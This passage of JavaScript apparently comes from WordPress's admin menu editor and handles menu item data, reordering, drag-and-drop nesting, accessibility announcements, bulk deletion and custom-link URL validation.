).removeClass( 'is-active' ); t.updateParentDropdown(); t.updateOrderDropdown(); }); }); }, getItemData : function( itemType, id ) { itemType = itemType || 'menu-item'; var itemData = {}, i, fields = [ 'menu-item-db-id', 'menu-item-object-id', 'menu-item-object', 'menu-item-parent-id', 'menu-item-position', 'menu-item-type', 'menu-item-title', 'menu-item-url', 'menu-item-description', 'menu-item-attr-title', 'menu-item-target', 'menu-item-classes', 'menu-item-xfn' ]; if( !id && itemType == 'menu-item' ) { id = this.find('.menu-item-data-db-id').val(); } if( !id ) return itemData; this.find('input').each(function() { var field; i = fields.length; while ( i-- ) { if( itemType == 'menu-item' ) field = fields[i] + '[' + id + ']'; else if( itemType == 'add-menu-item' ) field = 'menu-item[' + id + '][' + fields[i] + ']'; if ( this.name && field == this.name ) { itemData[fields[i]] = this.value; } } }); return itemData; }, setItemData : function( itemData, itemType, id ) { // Can take a type, such as 'menu-item', or an id. itemType = itemType || 'menu-item'; if( !id && itemType == 'menu-item' ) { id = $('.menu-item-data-db-id', this).val(); } if( !id ) return this; this.find('input').each(function() { var t = $(this), field; $.each( itemData, function( attr, val ) { if( itemType == 'menu-item' ) field = attr + '[' + id + ']'; else if( itemType == 'add-menu-item' ) field = 'menu-item[' + id + '][' + attr + ']'; if ( field == t.attr('name') ) { t.val( val ); } }); }); return this; }, updateParentDropdown : function() { return this.each(function(){ var menuItems = $( '#menu-to-edit li' ), parentDropdowns = $( '.edit-menu-item-parent' ); $.each( parentDropdowns, function() { var parentDropdown = $( this ), currentItemID = parseInt( parentDropdown.closest( 'li.menu-item' ).find( '.menu-item-data-db-id' ).val() ), currentParentID = parseInt( parentDropdown.closest( 'li.menu-item' ).find( '.menu-item-data-parent-id' ).val() ), currentItem = parentDropdown.closest( 'li.menu-item' ), currentMenuItemChild = currentItem.childMenuItems(), excludeMenuItem = /** @type {number[]} */ [ currentItemID ]; parentDropdown.empty(); if ( currentMenuItemChild.length > 0 ) { $.each( currentMenuItemChild, function(){ var childItem = $(this), childID = parseInt( childItem.find( '.menu-item-data-db-id' ).val() ); excludeMenuItem.push( childID ); }); } parentDropdown.append( $( '<option>', { value: '0', selected: currentParentID === 0, text: wp.i18n._x( 'No Parent', 'menu item without a parent in navigation menu' ), } ) ); $.each( menuItems, function() { var menuItem = $(this), menuID = parseInt( menuItem.find( '.menu-item-data-db-id' ).val() ), menuTitle = menuItem.find( '.edit-menu-item-title' ).val(); if ( ! excludeMenuItem.includes( menuID ) ) { parentDropdown.append( $( '<option>', { value: menuID.toString(), selected: currentParentID === menuID, text: menuTitle, } ) ); } }); }); }); }, updateOrderDropdown : function() { return this.each( function() { var itemPosition, orderDropdowns = $( '.edit-menu-item-order' ); $.each( orderDropdowns, function() { var orderDropdown = $( this ), menuItem = orderDropdown.closest( 'li.menu-item' ).first(), depth = menuItem.menuItemDepth(), isPrimaryMenuItem = ( 0 === depth ); orderDropdown.empty(); if ( isPrimaryMenuItem ) { var primaryItems = $( '.menu-item-depth-0' ), totalMenuItems = primaryItems.length; itemPosition = primaryItems.index( menuItem ) + 1; for ( let i = 1; i < totalMenuItems + 1; i++ ) { var itemString = wp.i18n.sprintf( /* translators: 1: The current menu item number, 2: The total number of menu items. */ wp.i18n._x( '%1$s of %2$s', 'part of a total number of menu items' ), i, totalMenuItems ); orderDropdown.append( $( '<option>', { selected: i === itemPosition, value: i.toString(), text: itemString, } ) ); } } else { var parentItem = menuItem.prevAll( '.menu-item-depth-' + parseInt( depth - 1, 10 ) ).first(), parentItemId = parentItem.find( '.menu-item-data-db-id' ).val(), subItems = $( '.menu-item .menu-item-data-parent-id[value="' + parentItemId + '"]' ), totalSubMenuItems = subItems.length; itemPosition = $( subItems.parents('.menu-item').get().reverse() ).index( menuItem ) + 1; for ( let i = 1; i < totalSubMenuItems + 1; i++ ) { var submenuString = wp.i18n.sprintf( /* translators: 1: The current submenu item number, 2: The total number of submenu items. */ wp.i18n._x( '%1$s of %2$s', 'part of a total number of menu items' ), i, totalSubMenuItems ); orderDropdown.append( $( '<option>', { selected: i === itemPosition, value: i.toString(), text: submenuString, } ) ); } } }); }); } }); }, countMenuItems : function( depth ) { return $( '.menu-item-depth-' + depth ).length; }, moveMenuItem : function( $this, dir ) { var items, newItemPosition, newDepth, menuItems = $( '#menu-to-edit li' ), menuItemsCount = menuItems.length, thisItem = $this.parents( 'li.menu-item' ), thisItemChildren = thisItem.childMenuItems(), thisItemData = thisItem.getItemData(), thisItemDepth = parseInt( thisItem.menuItemDepth(), 10 ), thisItemPosition = parseInt( thisItem.index(), 10 ), nextItem = thisItem.next(), nextItemChildren = nextItem.childMenuItems(), nextItemDepth = parseInt( nextItem.menuItemDepth(), 10 ) + 1, prevItem = thisItem.prev(), prevItemDepth = parseInt( prevItem.menuItemDepth(), 10 ), prevItemId = prevItem.getItemData()['menu-item-db-id'], a11ySpeech = menus[ 'moved' + dir.charAt(0).toUpperCase() + dir.slice(1) ]; switch ( dir ) { case 'up': newItemPosition = thisItemPosition - 1; // Already at top. if ( 0 === thisItemPosition ) break; // If a sub item is moved to top, shift it to 0 depth. if ( 0 === newItemPosition && 0 !== thisItemDepth ) thisItem.moveHorizontally( 0, thisItemDepth ); // If prev item is sub item, shift to match depth. if ( 0 !== prevItemDepth ) thisItem.moveHorizontally( prevItemDepth, thisItemDepth ); // Does this item have sub items? if ( thisItemChildren ) { items = thisItem.add( thisItemChildren ); // Move the entire block. items.detach().insertBefore( menuItems.eq( newItemPosition ) ).updateParentMenuItemDBId(); } else { thisItem.detach().insertBefore( menuItems.eq( newItemPosition ) ).updateParentMenuItemDBId(); } break; case 'down': // Does this item have sub items? if ( thisItemChildren ) { items = thisItem.add( thisItemChildren ), nextItem = menuItems.eq( items.length + thisItemPosition ), nextItemChildren = 0 !== nextItem.childMenuItems().length; if ( nextItemChildren ) { newDepth = parseInt( nextItem.menuItemDepth(), 10 ) + 1; thisItem.moveHorizontally( newDepth, thisItemDepth ); } // Have we reached the bottom? if ( menuItemsCount === thisItemPosition + items.length ) break; items.detach().insertAfter( menuItems.eq( thisItemPosition + items.length ) ).updateParentMenuItemDBId(); } else { // If next item has sub items, shift depth. if ( 0 !== nextItemChildren.length ) thisItem.moveHorizontally( nextItemDepth, thisItemDepth ); // Have we reached the bottom? if ( menuItemsCount === thisItemPosition + 1 ) break; thisItem.detach().insertAfter( menuItems.eq( thisItemPosition + 1 ) ).updateParentMenuItemDBId(); } break; case 'top': // Already at top. if ( 0 === thisItemPosition ) break; // Does this item have sub items? if ( thisItemChildren ) { items = thisItem.add( thisItemChildren ); // Move the entire block. items.detach().insertBefore( menuItems.eq( 0 ) ).updateParentMenuItemDBId(); } else { thisItem.detach().insertBefore( menuItems.eq( 0 ) ).updateParentMenuItemDBId(); } break; case 'left': // As far left as possible. if ( 0 === thisItemDepth ) break; thisItem.shiftHorizontally( -1 ); break; case 'right': // Can't be sub item at top. if ( 0 === thisItemPosition ) break; // Already sub item of prevItem. if ( thisItemData['menu-item-parent-id'] === prevItemId ) break; thisItem.shiftHorizontally( 1 ); break; } $this.trigger( 'focus' ); api.registerChange(); api.refreshKeyboardAccessibility(); api.refreshAdvancedAccessibility(); thisItem.updateParentDropdown(); thisItem.updateOrderDropdown(); if ( a11ySpeech ) { wp.a11y.speak( a11ySpeech ); } }, initAccessibility : function() { var menu = $( '#menu-to-edit' ); api.refreshKeyboardAccessibility(); api.refreshAdvancedAccessibility(); // Refresh the accessibility when the user comes close to the item in any way. menu.on( 'mouseenter.refreshAccessibility focus.refreshAccessibility touchstart.refreshAccessibility' , '.menu-item' , function(){ api.refreshAdvancedAccessibilityOfItem( $( this ).find( 'a.item-edit' ) ); } ); // We have to update on click as well because we might hover first, change the item, and then click. menu.on( 'click', 'a.item-edit', function() { api.refreshAdvancedAccessibilityOfItem( $( this ) ); } ); // Links for moving items. menu.on( 'click', '.menus-move', function () { var $this = $( this ), dir = $this.data( 'dir' ); if ( 'undefined' !== typeof dir ) { api.moveMenuItem( $( this ).parents( 'li.menu-item' ).find( 'a.item-edit' ), dir ); } }); // Set menu parents data for all menu items. menu.updateParentDropdown(); // Set menu order data for all menu items. menu.updateOrderDropdown(); // Update menu item parent when value is changed. menu.on( 'change', '.edit-menu-item-parent', function() { api.changeMenuParent( $( this ) ); }); // Update menu item order when value is changed. menu.on( 'change', '.edit-menu-item-order', function() { api.changeMenuOrder( $( this ) ); }); }, /** * changeMenuParent( [parentDropdown] ) * * @since 6.7.0 * * @param {object} parentDropdown select field */ changeMenuParent : function( parentDropdown ) { var menuItemNewPosition, menuItems = $( '#menu-to-edit li' ), $this = $( parentDropdown ), newParentID = $this.val(), menuItem = $this.closest( 'li.menu-item' ).first(), menuItemOldDepth = menuItem.menuItemDepth(), menuItemChildren = menuItem.childMenuItems(), menuItemNoChildren = parseInt( menuItem.childMenuItems().length, 10 ), parentItem = $( '#menu-item-' + newParentID ), parentItemDepth = parentItem.menuItemDepth(), menuItemNewDepth = parseInt( parentItemDepth ) + 1; if ( newParentID == 0 ) { menuItemNewDepth = 0; } menuItem.find( '.menu-item-data-parent-id' ).val( newParentID ); menuItem.moveHorizontally( menuItemNewDepth, menuItemOldDepth ); if ( menuItemNoChildren > 0 ) { menuItem = menuItem.add( menuItemChildren ); } menuItem.detach(); menuItems = $( '#menu-to-edit li' ); var parentItemPosition = parseInt( parentItem.index(), 10 ), parentItemNoChild = parseInt( parentItem.childMenuItems().length, 10 ); if ( parentItemNoChild > 0 ){ menuItemNewPosition = parentItemPosition + parentItemNoChild; } else { menuItemNewPosition = parentItemPosition; } if ( newParentID == 0 ) { menuItemNewPosition = menuItems.length - 1; } menuItem.insertAfter( menuItems.eq( menuItemNewPosition ) ).updateParentMenuItemDBId().updateParentDropdown().updateOrderDropdown(); api.registerChange(); api.refreshKeyboardAccessibility(); api.refreshAdvancedAccessibility(); $this.trigger( 'focus' ); wp.a11y.speak( menus.parentUpdated, 'polite' ); }, /** * changeMenuOrder( [OrderDropdown] ) * * @since 6.7.0 * * @param {object} orderDropdown select field */ changeMenuOrder : function( orderDropdown ) { var menuItems = $( '#menu-to-edit li' ), $this = $( orderDropdown ), newOrderID = parseInt( $this.val(), 10), menuItem = $this.closest( 'li.menu-item' ).first(), menuItemChildren = menuItem.childMenuItems(), menuItemNoChildren = menuItemChildren.length, menuItemCurrentPosition = parseInt( menuItem.index(), 10 ), parentItemID = menuItem.find( '.menu-item-data-parent-id' ).val(), subItems = $( '.menu-item .menu-item-data-parent-id[value="' + parentItemID + '"]' ), currentItemAtPosition = $(subItems[newOrderID - 1]).closest( 'li.menu-item' ); if ( menuItemNoChildren > 0 ) { menuItem = menuItem.add( menuItemChildren ); } var currentItemNoChildren = currentItemAtPosition.childMenuItems().length, currentItemPosition = parseInt( currentItemAtPosition.index(), 10 ); menuItems = $( '#menu-to-edit li' ); var menuItemNewPosition = currentItemPosition; if(menuItemCurrentPosition > menuItemNewPosition){ menuItemNewPosition = currentItemPosition; menuItem.detach().insertBefore( menuItems.eq( menuItemNewPosition ) ).updateOrderDropdown(); } else { menuItemNewPosition = menuItemNewPosition + currentItemNoChildren; menuItem.detach().insertAfter( menuItems.eq( menuItemNewPosition ) ).updateOrderDropdown(); } api.registerChange(); api.refreshKeyboardAccessibility(); api.refreshAdvancedAccessibility(); $this.trigger( 'focus' ); wp.a11y.speak( menus.orderUpdated, 'polite' ); }, /** * refreshAdvancedAccessibilityOfItem( [itemToRefresh] ) * * Refreshes advanced accessibility buttons for one menu item. * Shows or hides buttons based on the location of the menu item. * * @param {Object} itemToRefresh The menu item that might need its advanced accessibility buttons refreshed */ refreshAdvancedAccessibilityOfItem : function( itemToRefresh ) { // Only refresh accessibility when necessary. if ( true !== $( itemToRefresh ).data( 'needs_accessibility_refresh' ) ) { return; } var thisLink, thisLinkText, primaryItems, itemPosition, title, parentItem, parentItemId, parentItemName, subItems, totalSubItems, $this = $( itemToRefresh ), menuItem = $this.closest( 'li.menu-item' ).first(), depth = menuItem.menuItemDepth(), isPrimaryMenuItem = ( 0 === depth ), itemName = $this.closest( '.menu-item-handle' ).find( '.menu-item-title' ).text(), menuItemType = $this.closest( '.menu-item-handle' ).find( '.item-controls' ).find( '.item-type' ).text(), position = parseInt( menuItem.index(), 10 ), prevItemDepth = ( isPrimaryMenuItem ) ? depth : parseInt( depth - 1, 10 ), prevItemNameLeft = menuItem.prevAll('.menu-item-depth-' + prevItemDepth).first().find( '.menu-item-title' ).text(), prevItemNameRight = menuItem.prevAll('.menu-item-depth-' + depth).first().find( '.menu-item-title' ).text(), totalMenuItems = $('#menu-to-edit li').length, hasSameDepthSibling = menuItem.nextAll( '.menu-item-depth-' + depth ).length; menuItem.find( '.field-move' ).toggle( totalMenuItems > 1 ); // Where can they move this menu item? if ( 0 !== position ) { thisLink = menuItem.find( '.menus-move-up' ); thisLink.attr( 'aria-label', menus.moveUp ).css( 'display', 'inline' ); } if ( 0 !== position && isPrimaryMenuItem ) { thisLink = menuItem.find( '.menus-move-top' ); thisLink.attr( 'aria-label', menus.moveToTop ).css( 'display', 'inline' ); } if ( position + 1 !== totalMenuItems && 0 !== position ) { thisLink = menuItem.find( '.menus-move-down' ); thisLink.attr( 'aria-label', menus.moveDown ).css( 'display', 'inline' ); } if ( 0 === position && 0 !== hasSameDepthSibling ) { thisLink = menuItem.find( '.menus-move-down' ); thisLink.attr( 'aria-label', menus.moveDown ).css( 'display', 'inline' ); } if ( ! isPrimaryMenuItem ) { thisLink = menuItem.find( '.menus-move-left' ), thisLinkText = menus.outFrom.replace( '%s', prevItemNameLeft ); thisLink.attr( 'aria-label', menus.moveOutFrom.replace( '%s', prevItemNameLeft ) ).text( thisLinkText ).css( 'display', 'inline' ); } if ( 0 !== position ) { if ( menuItem.find( '.menu-item-data-parent-id' ).val() !== menuItem.prev().find( '.menu-item-data-db-id' ).val() ) { thisLink = menuItem.find( '.menus-move-right' ), thisLinkText = menus.under.replace( '%s', prevItemNameRight ); thisLink.attr( 'aria-label', menus.moveUnder.replace( '%s', prevItemNameRight ) ).text( thisLinkText ).css( 'display', 'inline' ); } } if ( isPrimaryMenuItem ) { primaryItems = $( '.menu-item-depth-0' ), itemPosition = primaryItems.index( menuItem ) + 1, totalMenuItems = primaryItems.length, // String together help text for primary menu items. title = menus.menuFocus.replace( '%1$s', itemName ).replace( '%2$s', menuItemType ).replace( '%3$d', itemPosition ).replace( '%4$d', totalMenuItems ); } else { parentItem = menuItem.prevAll( '.menu-item-depth-' + parseInt( depth - 1, 10 ) ).first(), parentItemId = parentItem.find( '.menu-item-data-db-id' ).val(), parentItemName = parentItem.find( '.menu-item-title' ).text(), subItems = $( '.menu-item .menu-item-data-parent-id[value="' + parentItemId + '"]' ), totalSubItems = subItems.length, itemPosition = $( subItems.parents('.menu-item').get().reverse() ).index( menuItem ) + 1; // String together help text for sub menu items. if ( depth < 2 ) { title = menus.subMenuFocus.replace( '%1$s', itemName ).replace( '%2$s', menuItemType ).replace( '%3$d', itemPosition ).replace( '%4$d', totalSubItems ).replace( '%5$s', parentItemName ); } else { title = menus.subMenuMoreDepthFocus.replace( '%1$s', itemName ).replace( '%2$s', menuItemType ).replace( '%3$d', itemPosition ).replace( '%4$d', totalSubItems ).replace( '%5$s', parentItemName ).replace( '%6$d', depth ); } } $this.attr( 'aria-label', title ); // Mark this item's accessibility as refreshed. $this.data( 'needs_accessibility_refresh', false ); }, /** * refreshAdvancedAccessibility * * Hides all advanced accessibility buttons and marks them for refreshing. */ refreshAdvancedAccessibility : function() { // Hide all the move buttons by default. $( '.menu-item-settings .field-move .menus-move' ).hide(); // Mark all menu items as unprocessed. $( 'a.item-edit' ).data( 'needs_accessibility_refresh', true ); // All open items have to be refreshed or they will show no links. $( '.menu-item-edit-active a.item-edit' ).each( function() { api.refreshAdvancedAccessibilityOfItem( this ); } ); }, refreshKeyboardAccessibility : function() { $( 'a.item-edit' ).off( 'focus' ).on( 'focus', function(){ $(this).off( 'keydown' ).on( 'keydown', function(e){ var arrows, $this = $( this ), thisItem = $this.parents( 'li.menu-item' ), thisItemData = thisItem.getItemData(); // Bail if it's not an arrow key. if ( 37 != e.which && 38 != e.which && 39 != e.which && 40 != e.which ) return; // Avoid multiple keydown events. $this.off('keydown'); // Bail if there is only one menu item. if ( 1 === $('#menu-to-edit li').length ) return; // If RTL, swap left/right arrows. arrows = { '38': 'up', '40': 'down', '37': 'left', '39': 'right' }; if ( $('body').hasClass('rtl') ) arrows = { '38' : 'up', '40' : 'down', '39' : 'left', '37' : 'right' }; switch ( arrows[e.which] ) { case 'up': api.moveMenuItem( $this, 'up' ); break; case 'down': api.moveMenuItem( $this, 'down' ); break; case 'left': api.moveMenuItem( $this, 'left' ); break; case 'right': api.moveMenuItem( $this, 'right' ); break; } // Put focus back on same menu item. $( '#edit-' + thisItemData['menu-item-db-id'] ).trigger( 'focus' ); return false; }); }); }, initPreviewing : function() { // Update the item handle title when the navigation label is changed. $( '#menu-to-edit' ).on( 'change input', '.edit-menu-item-title', function(e) { var input = $( e.currentTarget ), title, titleEl; title = input.val(); titleEl = input.closest( '.menu-item' ).find( '.menu-item-title' ); // Don't update to empty title. if ( title ) { titleEl.text( title ).removeClass( 'no-title' ); } else { titleEl.text( wp.i18n._x( '(no label)', 'missing menu item navigation label' ) ).addClass( 'no-title' ); } } ); }, initToggles : function() { // Init postboxes. postboxes.add_postbox_toggles('nav-menus'); // Adjust columns functions for menus UI. columns.useCheckboxesForHidden(); columns.checked = function(field) { $('.field-' + field).removeClass('hidden-field'); }; columns.unchecked = function(field) { $('.field-' + field).addClass('hidden-field'); }; // Hide fields. api.menuList.hideAdvancedMenuItemFields(); $('.hide-postbox-tog').on( 'click', function () { var hidden = $( '.accordion-container li.accordion-section' ).filter(':hidden').map(function() { return this.id; }).get().join(','); $.post(ajaxurl, { action: 'closed-postboxes', hidden: hidden, closedpostboxesnonce: jQuery('#closedpostboxesnonce').val(), page: 'nav-menus' }); }); }, initSortables : function() { var currentDepth = 0, originalDepth, minDepth, maxDepth, prev, next, prevBottom, nextThreshold, helperHeight, transport, menuEdge = api.menuList.offset().left, body = $('body'), maxChildDepth, menuMaxDepth = initialMenuMaxDepth(); if( 0 !== $( '#menu-to-edit li' ).length ) $( '.drag-instructions' ).show(); // Use the right edge if RTL. menuEdge += api.isRTL ? api.menuList.width() : 0; api.menuList.sortable({ handle: '.menu-item-handle', placeholder: 'sortable-placeholder', items: api.options.sortableItems, start: function(e, ui) { var height, width, parent, children, tempHolder; // Handle placement for RTL orientation. if ( api.isRTL ) ui.item[0].style.right = 'auto'; transport = ui.item.children('.menu-item-transport'); // Set depths. currentDepth must be set before children are located. originalDepth = ui.item.menuItemDepth(); updateCurrentDepth(ui, originalDepth); // Attach child elements to parent. // Skip the placeholder. parent = ( ui.item.next()[0] == ui.placeholder[0] ) ? ui.item.next() : ui.item; children = parent.childMenuItems(); transport.append( children ); // Update the height of the placeholder to match the moving item. height = transport.outerHeight(); // If there are children, account for distance between top of children and parent. height += ( height > 0 ) ? (ui.placeholder.css('margin-top').slice(0, -2) * 1) : 0; height += ui.helper.outerHeight(); helperHeight = height; height -= 2; // Subtract 2 for borders. ui.placeholder.height(height); // Update the width of the placeholder to match the moving item. maxChildDepth = originalDepth; children.each(function(){ var depth = $(this).menuItemDepth(); maxChildDepth = (depth > maxChildDepth) ? depth : maxChildDepth; }); width = ui.helper.find('.menu-item-handle').outerWidth(); // Get original width. width += api.depthToPx(maxChildDepth - originalDepth); // Account for children. width -= 2; // Subtract 2 for borders. ui.placeholder.width(width); // Update the list of menu items. tempHolder = ui.placeholder.next( '.menu-item' ); tempHolder.css( 'margin-top', helperHeight + 'px' ); // Set the margin to absorb the placeholder. ui.placeholder.detach(); // Detach or jQuery UI will think the placeholder is a menu item. $(this).sortable( 'refresh' ); // The children aren't sortable. We should let jQuery UI know. ui.item.after( ui.placeholder ); // Reattach the placeholder. tempHolder.css('margin-top', 0); // Reset the margin. // Now that the element is complete, we can update... updateSharedVars(ui); }, stop: function(e, ui) { var children, subMenuTitle, depthChange = currentDepth - originalDepth; // Return child elements to the list. children = transport.children().insertAfter(ui.item); // Add "sub menu" description. subMenuTitle = ui.item.find( '.item-title .is-submenu' ); if ( 0 < currentDepth ) subMenuTitle.show(); else subMenuTitle.hide(); // Update depth classes. if ( 0 !== depthChange ) { ui.item.updateDepthClass( currentDepth ); children.shiftDepthClass( depthChange ); updateMenuMaxDepth( depthChange ); } // Register a change. api.registerChange(); // Update the item data. ui.item.updateParentMenuItemDBId(); // Address sortable's incorrectly-calculated top in Opera. ui.item[0].style.top = 0; // Handle drop placement for rtl orientation. if ( api.isRTL ) { ui.item[0].style.left = 'auto'; ui.item[0].style.right = 0; } api.refreshKeyboardAccessibility(); api.refreshAdvancedAccessibility(); ui.item.updateParentDropdown(); ui.item.updateOrderDropdown(); api.refreshAdvancedAccessibilityOfItem( ui.item.find( 'a.item-edit' ) ); }, change: function(e, ui) { // Make sure the placeholder is inside the menu. // Otherwise fix it, or we're in trouble. if( ! ui.placeholder.parent().hasClass('menu') ) (prev.length) ? prev.after( ui.placeholder ) : api.menuList.prepend( ui.placeholder ); updateSharedVars(ui); }, sort: function(e, ui) { var offset = ui.helper.offset(), edge = api.isRTL ? offset.left + ui.helper.width() : offset.left, depth = api.negateIfRTL * api.pxToDepth( edge - menuEdge ); /* * Check and correct if depth is not within range. * Also, if the dragged element is dragged upwards over an item, * shift the placeholder to a child position. */ if ( depth > maxDepth || offset.top < ( prevBottom - api.options.targetTolerance ) ) { depth = maxDepth; } else if ( depth < minDepth ) { depth = minDepth; } if( depth != currentDepth ) updateCurrentDepth(ui, depth); // If we overlap the next element, manually shift downwards. if( nextThreshold && offset.top + helperHeight > nextThreshold ) { next.after( ui.placeholder ); updateSharedVars( ui ); $( this ).sortable( 'refreshPositions' ); } } }); function updateSharedVars(ui) { var depth; prev = ui.placeholder.prev( '.menu-item' ); next = ui.placeholder.next( '.menu-item' ); // Make sure we don't select the moving item. if( prev[0] == ui.item[0] ) prev = prev.prev( '.menu-item' ); if( next[0] == ui.item[0] ) next = next.next( '.menu-item' ); prevBottom = (prev.length) ? prev.offset().top + prev.height() : 0; nextThreshold = (next.length) ? next.offset().top + next.height() / 3 : 0; minDepth = (next.length) ? next.menuItemDepth() : 0; if( prev.length ) maxDepth = ( (depth = prev.menuItemDepth() + 1) > api.options.globalMaxDepth ) ? api.options.globalMaxDepth : depth; else maxDepth = 0; } function updateCurrentDepth(ui, depth) { ui.placeholder.updateDepthClass( depth, currentDepth ); currentDepth = depth; } function initialMenuMaxDepth() { if( ! body[0].className ) return 0; var match = body[0].className.match(/menu-max-depth-(\d+)/); return match && match[1] ? parseInt( match[1], 10 ) : 0; } function updateMenuMaxDepth( depthChange ) { var depth, newDepth = menuMaxDepth; if ( depthChange === 0 ) { return; } else if ( depthChange > 0 ) { depth = maxChildDepth + depthChange; if( depth > menuMaxDepth ) newDepth = depth; } else if ( depthChange < 0 && maxChildDepth == menuMaxDepth ) { while( ! $('.menu-item-depth-' + newDepth, api.menuList).length && newDepth > 0 ) newDepth--; } // Update the depth class. body.removeClass( 'menu-max-depth-' + menuMaxDepth ).addClass( 'menu-max-depth-' + newDepth ); menuMaxDepth = newDepth; } }, initManageLocations : function () { $('#menu-locations-wrap form').on( 'submit', function(){ window.onbeforeunload = null; }); $('.menu-location-menus select').on('change', function () { var editLink = $(this).closest('tr').find('.locations-edit-menu-link'); if ($(this).find('option:selected').data('orig')) editLink.show(); else editLink.hide(); }); }, attachMenuEditListeners : function() { var that = this; $('#update-nav-menu').on('click', function(e) { if ( e.target && e.target.className ) { if ( -1 != e.target.className.indexOf('item-edit') ) { return that.eventOnClickEditLink(e.target); } else if ( -1 != e.target.className.indexOf('menu-save') ) { return that.eventOnClickMenuSave(e.target); } else if ( -1 != e.target.className.indexOf('menu-delete') ) { return that.eventOnClickMenuDelete(e.target); } else if ( -1 != e.target.className.indexOf('item-delete') ) { return that.eventOnClickMenuItemDelete(e.target); } else if ( -1 != e.target.className.indexOf('item-cancel') ) { return that.eventOnClickCancelLink(e.target); } } }); $( '#menu-name' ).on( 'input', _.debounce( function () { var menuName = $( document.getElementById( 'menu-name' ) ), menuNameVal = menuName.val(); if ( ! menuNameVal || ! menuNameVal.replace( /\s+/, '' ) ) { // Add warning for invalid menu name. menuName.parent().addClass( 'form-invalid' ); } else { // Remove warning for valid menu name. menuName.parent().removeClass( 'form-invalid' ); } }, 500 ) ); $('#add-custom-links input[type="text"]').on( 'keypress', function(e){ $( '#customlinkdiv' ).removeClass( 'form-invalid' ); $( '#custom-menu-item-url' ).removeAttr( 'aria-invalid' ).removeAttr( 'aria-describedby' ); $( '#custom-url-error' ).hide(); if ( e.keyCode === 13 ) { e.preventDefault(); $( '#submit-customlinkdiv' ).trigger( 'click' ); } }); $( '#submit-customlinkdiv' ).on( 'click', function (e) { var urlInput = $( '#custom-menu-item-url' ), url = urlInput.val().trim(), errorMessage = $( '#custom-url-error' ), urlWrap = $( '#menu-item-url-wrap' ), urlRegex; // Hide the error message initially errorMessage.hide(); urlWrap.removeClass( 'has-error' ); /* * Allow URLs including: * - http://example.com/ * - //example.com * - /directory/ * - ?query-param * - #target * - mailto:foo@example.com * * Any further validation will be handled on the server when the setting is attempted to be saved, * so this pattern does not need to be complete. */ urlRegex = /^((\w+:)?\/\/\w.*|\w+:(?!\/\/$)|\/|\?|#)/; if ( ! urlRegex.test( url ) ) { e.preventDefault(); urlInput.addClass( 'form-invalid' ) .attr( 'aria-invalid', 'true' ) .attr( 'aria-describedby', 'custom-url-error' ); errorMessage.show(); var errorText = errorMessage.text(); urlWrap.addClass( 'has-error' ); // Announce error message via screen reader wp.a11y.speak( errorText, 'assertive' ); } }); }, /** * Handle toggling bulk selection checkboxes for menu items. * * @since 5.8.0 */ attachBulkSelectButtonListeners : function() { var that = this; $( '.bulk-select-switcher' ).on( 'change', function() { if ( this.checked ) { $( '.bulk-select-switcher' ).prop( 'checked', true ); that.enableBulkSelection(); } else { $( '.bulk-select-switcher' ).prop( 'checked', false ); that.disableBulkSelection(); } }); }, /** * Enable bulk selection checkboxes for menu items. * * @since 5.8.0 */ enableBulkSelection : function() { var checkbox = $( '#menu-to-edit .menu-item-checkbox' ); $( '#menu-to-edit' ).addClass( 'bulk-selection' ); $( '#nav-menu-bulk-actions-top' ).addClass( 'bulk-selection' ); $( '#nav-menu-bulk-actions-bottom' ).addClass( 'bulk-selection' ); $.each( checkbox, function() { $(this).prop( 'disabled', false ); }); }, /** * Disable bulk selection checkboxes for menu items. * * @since 5.8.0 */ disableBulkSelection : function() { var checkbox = $( '#menu-to-edit .menu-item-checkbox' ); $( '#menu-to-edit' ).removeClass( 'bulk-selection' ); $( '#nav-menu-bulk-actions-top' ).removeClass( 'bulk-selection' ); $( '#nav-menu-bulk-actions-bottom' ).removeClass( 'bulk-selection' ); if ( $( '.menu-items-delete' ).is( '[aria-describedby="pending-menu-items-to-delete"]' ) ) { $( '.menu-items-delete' ).removeAttr( 'aria-describedby' ); } $.each( checkbox, function() { $(this).prop( 'disabled', true ).prop( 'checked', false ); }); $( '.menu-items-delete' ).addClass( 'disabled' ); $( '#pending-menu-items-to-delete ul' ).empty(); }, /** * Listen for state changes on bulk action checkboxes. * * @since 5.8.0 */ attachMenuCheckBoxListeners : function() { var that = this; $( '#menu-to-edit' ).on( 'change', '.menu-item-checkbox', function() { that.setRemoveSelectedButtonStatus(); }); }, /** * Create delete button to remove menu items from collection. * * @since 5.8.0 */ attachMenuItemDeleteButton : function() { var that = this; $( document ).on( 'click', '.menu-items-delete', function( e ) { var itemsPendingDeletion, itemsPendingDeletionList, deletionSpeech; e.preventDefault(); if ( ! $(this).hasClass( 'disabled' ) ) { $.each( $( '.menu-item-checkbox:checked' ), function( index, element ) { $( element ).parents( 'li' ).find( 'a.item-delete' ).trigger( 'click' ); }); $( '.menu-items-delete' ).addClass( 'disabled' ); $( '.bulk-select-switcher' ).prop( 'checked', false ); itemsPendingDeletion = ''; itemsPendingDeletionList = $( '#pending-menu-items-to-delete ul li' ); $.each( itemsPendingDeletionList, function( index, element ) { var itemName = $( element ).find( '.pending-menu-item-name' ).text(); var itemSpeech = menus.menuItemDeletion.replace( '%s', itemName ); itemsPendingDeletion += itemSpeech; if ( ( index + 1 ) < itemsPendingDeletionList.length ) { itemsPendingDeletion += ', '; } }); deletionSpeech = menus.itemsDeleted.replace( '%s', itemsPendingDeletion ); wp.a11y.speak( deletionSpeech, 'polite' ); that.disableBulkSelection(); $( '#menu-to-edit' ).updateParentDropdown(); $( '#menu-to-edit' ).updateOrderDropdown(); } }); }, /** * List menu items awaiting deletion. * * @since 5.8.0 */ attachPendingMenuItemsListForDeletion : function() { $( '#post-body-content' ).on( 'change', '.menu-item-checkbox', function() { var menuItemName, menuItemType, menuItemID, listedMenuItem; if ( ! $( '.menu-items-delete' ).is( '[aria-describedby="pending-menu-items-to-delete"]' ) ) { $( '.menu-items-delete' ).attr( 'aria-describedby', 'pending-menu-items-to-delete' ); } menuItemName = $(this).next().text(); menuItemType = $(this).parent().next( '.item-controls' ).find( '.item-type' ).text(); menuItemID = $(this).attr( 'data-menu-item-id' ); listedMenuItem = $( '#pending-menu-items-to-delete ul' ).find( '[data-menu-item-id=' + menuItemID + ']' ); if ( listedMenuItem.length > 0 ) { listedMenuItem.remove(); } if ( this.checked === true ) { const $li = $( '<li>', { 'data-menu-item-id': menuItemID } ); $li.append( $( '<span>', { 'class': 'pending-menu-item-name', text: menuItemName } ) ); $li.append( ' ' ); $li.append( $( '<span>', { 'class': 'pending-menu-item-type', text: '(' + menuItemType + ')', } ) ); $li.append( $( '<span>', { 'class': 'separator' } 